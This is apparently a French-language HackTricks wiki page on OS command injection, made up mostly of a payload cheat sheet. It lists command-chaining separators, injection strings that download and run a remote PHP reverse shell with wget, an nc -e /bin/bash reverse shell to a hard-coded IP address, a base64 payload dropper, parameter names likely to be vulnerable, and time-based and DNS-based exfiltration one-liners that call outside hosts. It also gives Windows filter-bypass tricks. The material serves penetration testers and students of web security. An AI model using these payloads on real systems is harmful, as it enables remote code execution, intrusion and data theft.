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170 lines
7.3 KiB
Markdown
170 lines
7.3 KiB
Markdown
# Command Injection
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
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## Qu'est-ce que l'injection de commande ?
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Une **injection de commande** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent.
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### Contexte
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Selon **où votre entrée est injectée**, vous devrez peut-être **terminer le contexte cité** (en utilisant `"` ou `'`) avant les commandes.
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## Command Injection/Execution
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```bash
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#Both Unix and Windows supported
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ls||id; ls ||id; ls|| id; ls || id # Execute both
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ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
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ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
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ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
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ls %0A id # %0A Execute both (RECOMMENDED)
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#Only unix supported
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`ls` # ``
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$(ls) # $()
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ls; id # ; Chain commands
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ls${LS_COLORS:10:1}${IFS}id # Might be useful
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#Not executed but may be interesting
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> /var/www/html/out.txt #Try to redirect the output to a file
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< /etc/passwd #Try to send some input to the command
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```
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### **Limitation** Bypasses
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Si vous essayez d'exécuter **des commandes arbitraires à l'intérieur d'une machine linux**, vous serez intéressé de lire à propos de ces **Bypasses :**
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
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[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
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### **Exemples**
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```
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vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
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vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
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vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
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```
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### Paramètres
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Voici les 25 principaux paramètres qui pourraient être vulnérables à l'injection de code et à des vulnérabilités RCE similaires (provenant de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
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```
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?cmd={payload}
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?exec={payload}
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?command={payload}
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?execute{payload}
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?ping={payload}
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?query={payload}
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?jump={payload}
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?code={payload}
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?reg={payload}
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?do={payload}
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?func={payload}
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?arg={payload}
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?option={payload}
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?load={payload}
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?process={payload}
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?step={payload}
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?read={payload}
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?function={payload}
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?req={payload}
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?feature={payload}
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?exe={payload}
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?module={payload}
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?payload={payload}
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?run={payload}
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?print={payload}
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```
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### Exfiltration de données basée sur le temps
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Extraction de données : caractère par caractère
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```
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
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real 0m5.007s
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user 0m0.000s
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sys 0m0.000s
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
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real 0m0.002s
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user 0m0.000s
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sys 0m0.000s
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```
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### Exfiltration de données basée sur DNS
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Basé sur l'outil de `https://github.com/HoLyVieR/dnsbin` également hébergé sur dnsbin.zhack.ca
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```
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1. Go to http://dnsbin.zhack.ca/
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2. Execute a simple 'ls'
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for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
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```
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```
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$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
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```
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Outils en ligne pour vérifier l'exfiltration de données basée sur DNS :
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* dnsbin.zhack.ca
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* pingb.in
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### Contournement de filtrage
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#### Windows
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```
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powershell C:**2\n??e*d.*? # notepad
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@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
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```
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#### Linux
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
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[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
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## Liste de détection de Brute-Force
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
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## Références
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
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* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
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{% hint style="success" %}
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Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Soutenir HackTricks</summary>
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* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
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* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) pour construire et **automatiser facilement des workflows** alimentés par les **outils communautaires les plus avancés** au monde.\
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Obtenez l'accès aujourd'hui :
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
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